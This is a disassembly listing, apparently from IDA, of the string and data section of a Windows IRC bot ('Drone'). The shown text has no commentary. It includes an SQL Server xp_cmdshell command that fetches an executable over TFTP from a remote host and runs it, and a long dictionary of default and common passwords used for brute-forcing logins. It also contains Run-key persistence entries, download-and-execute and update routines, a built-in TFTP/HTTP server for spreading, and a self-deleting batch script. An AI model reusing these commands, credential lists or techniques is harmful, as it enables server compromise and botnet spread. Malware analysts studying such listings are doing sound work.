Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: sub_41B1A0+10Co align 10h ; char aExecMaster[] aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET irn.exe&start irn.exe' ; DATA XREF: sub_41B1A0+197o db '&exit',0Dh,0Ah db 27h,0 align 4 ; char aSExploitedS__0[] aSExploitedS__0 db '%s: Exploited %s.',0 ; DATA XREF: sub_41B1A0+1F1o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:00424654o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:00424658o align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0042465Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:00424660o aAdmins db 'admins',0 ; DATA XREF: .data:00424664o align 10h aAdmin_0 db 'admin',0 ; DATA XREF: .data:00424668o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0042466Co aPassword1 db 'password1',0 ; DATA XREF: .data:00424670o align 4 aPassword db 'password',0 ; DATA XREF: .data:00424674o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:00424678o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0042467Co align 4 aPass db 'pass',0 ; DATA XREF: .data:00424680o align 10h aPwd db 'pwd',0 ; DATA XREF: .data:00424684o a007 db '007',0 ; DATA XREF: .data:00424688o a1: ; DATA XREF: .data:0042468Co unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .data:00424690o align 10h a123 db '123',0 ; DATA XREF: .data:00424694o a1234 db '1234',0 ; DATA XREF: .data:00424698o align 4 a12345 db '12345',0 ; DATA XREF: .data:0042469Co align 4 a123456 db '123456',0 ; DATA XREF: .data:004246A0o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:004246A4o a12345678 db '12345678',0 ; DATA XREF: .data:004246A8o align 10h a123456789 db '123456789',0 ; DATA XREF: .data:004246ACo align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:004246B0o align 4 a2000 db '2000',0 ; DATA XREF: .data:004246B4o align 10h a2001 db '2001',0 ; DATA XREF: .data:004246B8o align 4 a2002 db '2002',0 ; DATA XREF: .data:004246BCo align 10h a2003 db '2003',0 ; DATA XREF: .data:004246C0o align 4 a2004 db '2004',0 ; DATA XREF: .data:004246C4o align 10h aTest db 'test',0 ; DATA XREF: .data:004246C8o align 4 aGuest db 'guest',0 ; DATA XREF: .data:004246CCo align 10h aNone db 'none',0 ; DATA XREF: .data:004246D0o align 4 aDemo db 'demo',0 ; DATA XREF: .data:004246D4o align 10h aUnix db 'unix',0 ; DATA XREF: .data:004246D8o align 4 aLinux db 'linux',0 ; DATA XREF: .data:004246DCo align 10h aChangeme db 'changeme',0 ; DATA XREF: .data:004246E0o align 4 aDefault db 'default',0 ; DATA XREF: .data:004246E4o aSystem_0 db 'system',0 ; DATA XREF: .data:004246E8o align 4 aServer db 'server',0 ; DATA XREF: .data:004246ECo align 4 aRoot_0 db 'root',0 ; DATA XREF: .data:004246F0o align 4 aNull_1 db 'null',0 ; DATA XREF: .data:004246F4o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:004246F8o align 4 aMail db 'mail',0 ; DATA XREF: .data:004246FCo align 4 aOutlook db 'outlook',0 ; DATA XREF: .data:00424700o aWeb db 'web',0 ; DATA XREF: .data:00424704o aWww db 'www',0 ; DATA XREF: .data:00424708o aInternet db 'internet',0 ; DATA XREF: .data:0042470Co align 10h aAccounts db 'accounts',0 ; DATA XREF: .data:00424710o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:00424714o align 4 aHome db 'home',0 ; DATA XREF: .data:00424718o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0042471Co align 4 aUser db 'user',0 ; DATA XREF: .data:00424720o align 4 aOem db 'oem',0 ; DATA XREF: .data:00424724o aOemuser db 'oemuser',0 ; DATA XREF: .data:00424728o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0042472Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:00424730o aWin98 db 'win98',0 ; DATA XREF: .data:00424734o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:00424738o align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0042473Co align 4 aWinnt db 'winnt',0 ; DATA XREF: .data:00424740o align 4 aWin2000 db 'win2000',0 ; DATA XREF: .data:00424744o aQaz db 'qaz',0 ; DATA XREF: .data:00424748o aAsd db 'asd',0 ; DATA XREF: .data:0042474Co aZxc db 'zxc',0 ; DATA XREF: .data:00424750o aQwe db 'qwe',0 ; DATA XREF: .data:00424754o aBob db 'bob',0 ; DATA XREF: .data:00424758o aJen db 'jen',0 ; DATA XREF: .data:0042475Co aJoe db 'joe',0 ; DATA XREF: .data:00424760o aFred db 'fred',0 ; DATA XREF: .data:00424764o align 10h aBill db 'bill',0 ; DATA XREF: .data:00424768o align 4 aMike db 'mike',0 ; DATA XREF: .data:0042476Co align 10h aJohn db 'john',0 ; DATA XREF: .data:00424770o align 4 aPeter db 'peter',0 ; DATA XREF: .data:00424774o align 10h aLuke db 'luke',0 ; DATA XREF: .data:00424778o align 4 aSam db 'sam',0 ; DATA XREF: .data:0042477Co aSue db 'sue',0 ; DATA XREF: .data:00424780o aSusan db 'susan',0 ; DATA XREF: .data:00424784o align 4 aPeter_0 db 'peter',0 ; DATA XREF: .data:00424788o align 10h aBrian db 'brian',0 ; DATA XREF: .data:0042478Co align 4 aLee db 'lee',0 ; DATA XREF: .data:00424790o aNeil db 'neil',0 ; DATA XREF: .data:00424794o align 4 aIan db 'ian',0 ; DATA XREF: .data:00424798o aChris db 'chris',0 ; DATA XREF: .data:0042479Co align 10h aEric db 'eric',0 ; DATA XREF: .data:004247A0o align 4 aGeorge db 'george',0 ; DATA XREF: .data:004247A4o align 10h aKate db 'kate',0 ; DATA XREF: .data:004247A8o align 4 aBob_0 db 'bob',0 ; DATA XREF: .data:004247ACo aKatie db 'katie',0 ; DATA XREF: .data:004247B0o align 4 aMary db 'mary',0 ; DATA XREF: .data:004247B4o align 4 aLogin db 'login',0 ; DATA XREF: .data:004247B8o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:004247BCo align 10h aTechnical db 'technical',0 ; DATA XREF: .data:004247C0o align 4 aBackup db 'backup',0 ; DATA XREF: .data:004247C4o align 4 aExchange db 'exchange',0 ; DATA XREF: .data:004247C8o align 10h aFuck db 'fuck',0 ; DATA XREF: .data:004247CCo align 4 aBitch db 'bitch',0 ; DATA XREF: .data:004247D0o align 10h aSlut db 'slut',0 ; DATA XREF: .data:004247D4o align 4 aSex db 'sex',0 ; DATA XREF: .data:004247D8o aGod db 'god',0 ; DATA XREF: .data:004247DCo aHell db 'hell',0 ; DATA XREF: .data:004247E0o align 4 aHello db 'hello',0 ; DATA XREF: .data:004247E4o align 10h aDomain db 'domain',0 ; DATA XREF: .data:004247E8o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:004247ECo align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:004247F0o align 4 aDatabase db 'database',0 ; DATA XREF: .data:004247F4o align 10h aAccess db 'access',0 ; DATA XREF: .data:004247F8o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:004247FCo align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: .data:00424800o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00424804o align 4 aData db 'data',0 ; DATA XREF: .data:00424808o align 4 aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0042480Co align 4 aDb1 db 'db1',0 ; DATA XREF: .data:00424810o aDb2 db 'db2',0 ; DATA XREF: .data:00424814o aDb1234 db 'db1234',0 ; DATA XREF: .data:00424818o align 4 aSa_0 db 'sa',0 ; DATA XREF: .data:0042481Co align 4 aSql db 'sql',0 ; DATA XREF: .data:00424820o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00424824o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:00424828o align 10h aOracle db 'oracle',0 ; DATA XREF: .data:0042482Co align 4 aIbm db 'ibm',0 ; DATA XREF: .data:00424830o aCisco db 'cisco',0 ; DATA XREF: .data:00424834o align 4 aDell db 'dell',0 ; DATA XREF: .data:00424838o align 4 aCompaq db 'compaq',0 ; DATA XREF: .data:0042483Co align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:00424840o aHp db 'hp',0 ; DATA XREF: .data:00424844o align 10h aNokia db 'nokia',0 ; DATA XREF: .data:00424848o align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:0042484Co align 4 aControl db 'control',0 ; DATA XREF: .data:00424850o aOffice db 'office',0 ; DATA XREF: .data:00424854o align 4 aBlank db 'blank',0 ; DATA XREF: .data:00424858o align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:0042485Co aMain db 'main',0 ; DATA XREF: .data:00424860o align 4 aLan db 'lan',0 ; DATA XREF: .data:00424864o aInternet_0 db 'internet',0 ; DATA XREF: .data:00424868o align 4 aIntranet db 'intranet',0 ; DATA XREF: .data:0042486Co align 10h aStudent db 'student',0 ; DATA XREF: .data:00424870o aTeacher db 'teacher',0 ; DATA XREF: .data:00424874o aStaff db 'staff',0 ; DATA XREF: .data:00424878o align 4 aBadAllocatio_5 db 'bad allocation',0 ; DATA XREF: .data:0042464Co align 4 aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_41A391+21o align 4 aMhz db '~MHz',0 ; DATA XREF: sub_41A391+4Ao align 10h aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_41A391+6Do ; char aS_15[] aS_15 db '%s',0 ; DATA XREF: sub_41A391+ADo align 4 ; char aSC_1[] aSC_1 db '%s%c',0 ; DATA XREF: sub_41A391+112o align 10h ; char aUnknown[] aUnknown db 'Unknown',0 ; DATA XREF: sub_41A391+165o ; char aHardwareDesc_0[] aHardwareDesc_0 db 'HARDWARE\DESCRIPTION\System\CentralProcessor\%i',0 ; DATA XREF: sub_41A391+1B7o ; char aSysinfo[] aSysinfo db 'sysinfo',0 ; DATA XREF: sub_41C370+8Fo ; char aNetinfo[] aNetinfo db 'netinfo',0 ; DATA XREF: sub_41C370+ABo aBadAllocatio_6 db 'bad allocation',0 ; DATA XREF: .data:00424880o align 4 ; char aHttp[] aHttp db 'http',0 ; DATA XREF: sub_41C370+73o align 10h aBadAllocatio_7 db 'bad allocation',0 ; DATA XREF: .data:00424884o align 10h aDl db 'DL',0 align 4 ; char aDownload[] aDownload db 'download',0 ; DATA XREF: sub_41C370+3Bo align 10h ; char aUpdate[] aUpdate db 'update',0 ; DATA XREF: sub_41C370+57o align 4 aMozilla5_0 db 'Mozilla/5.0',0 ; DATA XREF: sub_41B925+33o ; char aDlDownloadingS[] aDlDownloadingS db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_41B925+51o align 10h aDlFailedBadLoc db 'DL: Failed; Bad Location.',0 ; DATA XREF: sub_41B925:loc_41BAEFo align 4 ; char aDlDownloadSIBy[] aDlDownloadSIBy db 'DL: Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0 ; DATA XREF: sub_41B925+156o align 4 ; char aMainUninstalli[] aMainUninstalli db 'Main: Uninstalling Drone',0 ; DATA XREF: sub_41B925+1A7o align 4 aDlFailedToUpda db 'DL: Failed To Update',0 ; DATA XREF: sub_41B925:loc_41BAF6o align 4 aDlErrorExecuti db 'DL: Error Executing File.',0 ; DATA XREF: sub_41B925+1EDo align 4 ; char aDlExecutedFile[] aDlExecutedFile db 'DL: Executed File: %s',0 ; DATA XREF: sub_41B925+1FCo align 10h aDlFailedBadUrl db 'DL: Failed; Bad URL',0 ; DATA XREF: sub_41B925:loc_41BB3Do ; char aDlFailedWinine[] aDlFailedWinine db 'DL: Failed; WinINET Error',0 ; DATA XREF: sub_41B925:loc_41BB44o align 10h aBadAllocatio_8 db 'bad allocation',0 ; DATA XREF: .data:00424888o align 10h aBadAllocatio_9 db 'bad allocation',0 ; DATA XREF: .data:0042488Co align 10h aTftpServer db 'TFTP Server',0 ; DATA XREF: sub_41B775+5Ao ; char aRb[] aRb db 'rb',0 ; DATA XREF: sub_41B3D0+44o align 10h ; char aTftpSendComple[] aTftpSendComple db 'TFTP: Send Complete To %s. %d Total Sends',0 ; DATA XREF: sub_41B3D0+1A4o align 4 aBadAllocati_10 db 'bad allocation',0 ; DATA XREF: .data:00424890o align 10h dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h dd 6CA6351h, 14292967h, 27B70A85h, 2E1B2138h, 4D2C6DFCh dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch dd 1F83D9ABh, 5BE0CD19h dword_41F950 dd 0D728AE22h ; DATA XREF: sub_4143D0+318r dword_41F954 dd 428A2F98h ; DATA XREF: sub_4143D0+31Fr dword_41F958 dd 23EF65CDh ; DATA XREF: sub_4143D0+548r dword_41F95C dd 71374491h ; DATA XREF: sub_4143D0+54Fr dword_41F960 dd 0EC4D3B2Fh ; DATA XREF: sub_4143D0+772r dword_41F964 dd 0B5C0FBCFh ; DATA XREF: sub_4143D0+779r dword_41F968 dd 8189DBBCh ; DATA XREF: sub_4143D0+9B8r dword_41F96C dd 0E9B5DBA5h ; DATA XREF: sub_4143D0+9BFr dword_41F970 dd 0F348B538h ; DATA XREF: sub_4143D0+BFEr dword_41F974 dd 3956C25Bh ; DATA XREF: sub_4143D0+C09r dword_41F978 dd 0B605D019h ; DATA XREF: sub_4143D0+E80r dword_41F97C dd 59F111F1h ; DATA XREF: sub_4143D0+E87r dword_41F980 dd 0AF194F9Bh ; DATA XREF: sub_4143D0+10D7r dword_41F984 dd 923F82A4h ; DATA XREF: sub_4143D0+10DEr dword_41F988 dd 0DA6D8118h ; DATA XREF: sub_4143D0+1319r dword_41F98C dd 0AB1C5ED5h ; DATA XREF: sub_4143D0+1320r dword_41F990 dd 0A3030242h ; DATA XREF: sub_4143D0+1569r dword_41F994 dd 0D807AA98h ; DATA XREF: sub_4143D0+1570r dword_41F998 dd 45706FBEh ; DATA XREF: sub_4143D0+17ABr dword_41F99C dd 12835B01h ; DATA XREF: sub_4143D0+17B2r dword_41F9A0 dd 4EE4B28Ch ; DATA XREF: sub_4143D0+19F3r dword_41F9A4 dd 243185BEh ; DATA XREF: sub_4143D0+19FAr dword_41F9A8 dd 0D5FFB4E2h ; DATA XREF: sub_4143D0+1C39r dword_41F9AC dd 550C7DC3h ; DATA XREF: sub_4143D0+1C40r dword_41F9B0 dd 0F27B896Fh ; DATA XREF: sub_4143D0+1E91r dword_41F9B4 dd 72BE5D74h ; DATA XREF: sub_4143D0+1E9Cr dword_41F9B8 dd 3B1696B1h ; DATA XREF: sub_4143D0+210Dr dword_41F9BC dd 80DEB1FEh ; DATA XREF: sub_4143D0+2114r dword_41F9C0 dd 25C71235h ; DATA XREF: sub_4143D0+236Ar dword_41F9C4 dd 9BDC06A7h ; DATA XREF: sub_4143D0+2371r dword_41F9C8 dd 0CF692694h ; DATA XREF: sub_4143D0+25B8r dword_41F9CC dd 0C19BF174h ; DATA XREF: sub_4143D0+25BFr dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh, 831153B5h dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h, 0A831C66Dh dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h, 0B8D2D0C8h dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h, 2748774Ch dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h, 682E6FF3h dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh, 113F9804h dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h, 0CBBB9D5Dh dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h, 8EB44A87h dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0) dword_41FE50 dd 0F3BCC908h, 6A09E667h, 84CAA73Bh, 0BB67AE85h, 0FE94F82Bh ; DATA XREF: sub_4143A0+17o dd 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h, 510E527Fh dd 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh, 1F83D9ABh, 137E2179h dd 5BE0CD19h, 90h dup(0) aBadAllocati_11 db 'bad allocation',0 align 10h aBadAllocati_12 db 'bad allocation',0 ; DATA XREF: .data:00424A40o align 10h ; char Format[] Format db '%s\%s',0 ; DATA XREF: sub_416F86+DCo align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_416F86+10Co align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_416F86+14Fo align 4 ; char aSS_1[] aSS_1 db '%s\%s',0 ; DATA XREF: sub_417119+BAo align 10h aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_417119+F9o align 10h aSoftwareMicr_2 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_417119+14Do align 10h aBadAllocati_13 db 'bad allocation',0 ; DATA XREF: .data:00424A44o align 10h aIrn db '--irn ',0 ; DATA XREF: .text:0041BC44o align 4 aSS db '%s\%s',0 ; DATA XREF: .text:0041BCF1o align 10h aSSS db '%s %s%s',0 ; DATA XREF: .text:0041BDBFo aS db '%s',0 ; DATA XREF: .text:0041BE51o align 4 aRm db 'RM',0 ; DATA XREF: .text:0041BF25o align 10h aBk db 'BK',0 ; DATA XREF: .text:0041BF5Eo align 4 aUnm db 'UNM',0 ; DATA XREF: .text:0041BF83o aBadAllocati_14 db 'bad allocation',0 ; DATA XREF: .data:00425224o align 4 ; char aSS_7[] aSS_7 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41829C+42o ; char aSS_5[] aSS_5 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41802F+159o ; char aSS_6[] aSS_6 db '%s-%s',0 ; DATA XREF: sub_41802F+1D6o align 10h ; char aSSSS00S[] aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_41802F+24Do db '%s %s 0 0 :%s',0Dh,0Ah,0 align 4 ; char asc_420238[] asc_420238 db 0Dh,0Ah,0 ; DATA XREF: sub_417F01+7Eo align 4 ; char aS_18[] aS_18 db '%s',0 ; DATA XREF: sub_417F01+B6o align 10h ; char asc_420240[] asc_420240 db 0Dh,0Ah,0 ; DATA XREF: sub_417F01+CBo align 4 ; char aSSS_0[] aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_417361+C2o align 10h ; char aS_5[] aS_5 db '%s',0 ; DATA XREF: sub_41783D+4Ao align 4 ; char SubStr[] SubStr db ' :',0 ; DATA XREF: sub_41783D+7Eo align 4 ; char aS_6[] aS_6 db '%s',0 ; DATA XREF: sub_41783D+8Ao align 4 ; char asc_42025C[] asc_42025C: ; DATA XREF: sub_41783D+E1o unicode 0, < >,0 ; char aS_7[] aS_7 db '%s',0 ; DATA XREF: sub_41783D+FAo align 4 ; char asc_420264[] asc_420264: ; DATA XREF: sub_41783D+124o unicode 0, < >,0 ; char aSS_4[] aSS_4 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41783D+24Ao ; char aSSS_1[] aSSS_1 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_41783D+31Eo align 4 a001 db '001',0 ; DATA XREF: sub_41783D+33Ao ; char aSSSSSS[] aSSSSSS db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_41783D+3D3o db '%s %s %s',0Dh,0Ah,0 align 4 a332 db '332',0 ; DATA XREF: sub_41783D+417o ; char asc_42029C[] asc_42029C db ' :',0 ; DATA XREF: sub_41783D+499o align 10h ; char aS_8[] aS_8 db '%s',0 ; DATA XREF: sub_41783D+4A5o align 4 ; char asc_4202A4[] asc_4202A4: ; DATA XREF: sub_41783D+4D9o unicode 0, <!>,0 ; char aS_9[] aS_9 db '%s',0 ; DATA XREF: sub_41783D+4E5o align 4 a332_0 db '332',0 ; DATA XREF: sub_41783D+52Do ; char aS_10[] aS_10 db '%s',0 ; DATA XREF: sub_41783D+546o align 4 ; char aS_11[] aS_11 db '%s',0 ; DATA XREF: sub_41783D+5B1o align 4 ; char aS_12[] aS_12 db '%s',0 ; DATA XREF: sub_41783D+5DFo align 4 asc_4202BC: ; DATA XREF: sub_41783D+64Eo unicode 0, <;>,0 ; char asc_4202C0[] asc_4202C0: ; DATA XREF: sub_41783D:loc_417E92o unicode 0, <;>,0 ; char asc_4202C4[] asc_4202C4: ; DATA XREF: sub_41783D:loc_417E9Fo unicode 0, <;>,0 ; char Delim[] Delim: ; DATA XREF: sub_417676+Co unicode 0, < >,0 ; char Str2[] Str2 db '-s',0 ; DATA XREF: sub_417676+27o align 10h ; char aS_17[] aS_17 db '/s',0 ; DATA XREF: sub_417676+3Fo align 4 ; char asc_4202D4[] asc_4202D4: ; DATA XREF: sub_417676:loc_4176CAo unicode 0, < >,0 aQwertyuiopasdf db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0 ; DATA XREF: sub_41748B+21o align 10h ; char asc_420310[] asc_420310: ; DATA XREF: sub_41748B+5Eo unicode 0, <[>,0 ; char aSS_2[] aSS_2 db '%s%s|',0 ; DATA XREF: sub_41748B+95o align 4 ; char aSS_3[] aSS_3 db '%s%s|',0 ; DATA XREF: sub_41748B+C5o align 4 ; char aSp[] aSp db '%sP|',0 ; DATA XREF: sub_41748B+F0o align 4 ; char aS0I64u[] aS0I64u db '%s0%I64u|',0 ; DATA XREF: sub_41748B+12Fo align 4 ; char aSI64u[] aSI64u db '%s%I64u|',0 ; DATA XREF: sub_41748B+150o align 4 ; char aSC[] aSC db '%s%c',0 ; DATA XREF: sub_41748B+18Fo align 4 ; char aS_4[] aS_4 db '%s]',0 ; DATA XREF: sub_41748B+1BAo aBadAllocati_15 db 'bad allocation',0 align 10h aHs db 'HS',0 ; DATA XREF: sub_418D17+28o align 4 asc_420364: ; DATA XREF: sub_418C40+89o unicode 0, < >,0 ; char aSS_9[] aSS_9 db '%s\%s',0 ; DATA XREF: sub_418B1F+4Eo align 10h aGet db 'GET',0 ; DATA XREF: sub_418552+B7o ; char aQue?[] aQue? db 'Que?',0 ; DATA XREF: sub_418552+C7o align 10h ; char aHttp1_1501NotI[] aHttp1_1501NotI db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_418552+10Fo db 'Content-Length: %d',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 ; char aSSSS[] aSSSS db '%s\%s\%s%s',0 ; DATA XREF: sub_418552+229o align 4 ; char aSSS_2[] aSSS_2 db '%s\%s\%s',0 ; DATA XREF: sub_418552+1F2o align 10h ; char aSS_8[] aSS_8 db '%s\%s',0 ; DATA XREF: sub_418552+25Ao align 4 ; char aQue?_1[] aQue?_1 db 'Que?',0 ; DATA XREF: sub_418552+3A8o align 10h ; char aQue?_0[] aQue?_0 db 'Que?',0 ; DATA XREF: sub_418552+2BEo align 4 ; char aHttp1_1200OkCo[] aHttp1_1200OkCo db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_418552+3FCo db 'Content-Length: %d',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char aHttpTransferD_[] aHttpTransferD_ db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0 ; DATA XREF: sub_418552+51Do align 4 ; char aHttpTransfer_0[] aHttpTransfer_0 db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0 ; DATA XREF: sub_418552+54Ao align 4 ; char asc_42049C[] asc_42049C db 0Dh,0Ah,0 ; DATA XREF: sub_4184BF+11o align 10h ; char asc_4204A0[] asc_4204A0: ; DATA XREF: sub_4184BF:loc_4184EBo unicode 0, < >,0 ; char asc_4204A4[] asc_4204A4: ; DATA XREF: sub_4184BF+3Do unicode 0, < >,0 ; char asc_4204A8[] asc_4204A8: ; DATA XREF: sub_4184BF+54o unicode 0, < >,0 ; char asc_4204AC[] asc_4204AC db 0Dh,0Ah ; DATA XREF: sub_4184BF+78o db 0Dh,0Ah,0 align 4 ; char asc_4204B4[] asc_4204B4 db '%x',0 ; DATA XREF: sub_418396+CAo align 4 aBadAllocati_16 db 'bad allocation',0 align 4 ; char aS_16[] aS_16 db '%s',0 ; DATA XREF: sub_41B7F9+74o align 4 ; char aSX[] aSX db '%s%X',0 ; DATA XREF: sub_41B7F9+ECo align 4 aBadAllocati_17 db 'bad allocation',0 align 4 ; char a[] a@echoOff1DelSI db '@echo off',0Dh,0Ah ; DATA XREF: sub_4190BD+7Eo db ':1',0Dh,0Ah db 'del "%s"',0Dh,0Ah db 'if exist "%s" goto 1',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 10h ; char aSTmpIIICCC_bat[] aSTmpIIICCC_bat db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_4190BD+FCo align 4 ; char Mode[] Mode: ; DATA XREF: sub_4190BD+110o unicode 0, <w>,0 ; char aS_14[] aS_14 db '%s',0 ; DATA XREF: sub_4190BD+12Bo align 4 aRegistryMonito db 'Registry Monitor',0 ; DATA XREF: sub_419477+D9o align 4 aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_419477+12Ao align 4 aQuitSYouKill_0 db 'QUIT :%s YOU KILLED ME :<',0Dh,0Ah,0 ; char aQuitSYouKilled[] aQuitSYouKilled db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0 ; DATA XREF: sub_419477+15Ao align 4 aRemoveAuthenti db 'Remove: Authentication Failed.',0 align 4 ; char aD_D_D_D_0[] aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_418FC6+4Eo aVis db 'VIS',0 ; DATA XREF: sub_418E51+42o a2k3 db '2K3',0 ; DATA XREF: sub_418E51+55o aXp db 'XP',0 ; DATA XREF: sub_418E51+62o align 4 a2k db '2K',0 ; DATA XREF: sub_418E51+6Eo align 4 aMe db 'ME',0 ; DATA XREF: sub_418E51+81o align 4 a98 db '98',0 ; DATA XREF: sub_418E51+8Eo align 10h aNt db 'NT',0 ; DATA XREF: sub_418E51+A0o align 4 a95 db '95',0 ; DATA XREF: sub_418E51+ADo align 4 ; char aUnk[] aUnk db 'UNK',0 ; DATA XREF: sub_418E51:loc_418F05o ; char aOsMicrosoftWin[] aOsMicrosoftWin db '[OS: Microsoft Windows %s %s (%i.%i build %i)]',0 ; DATA XREF: 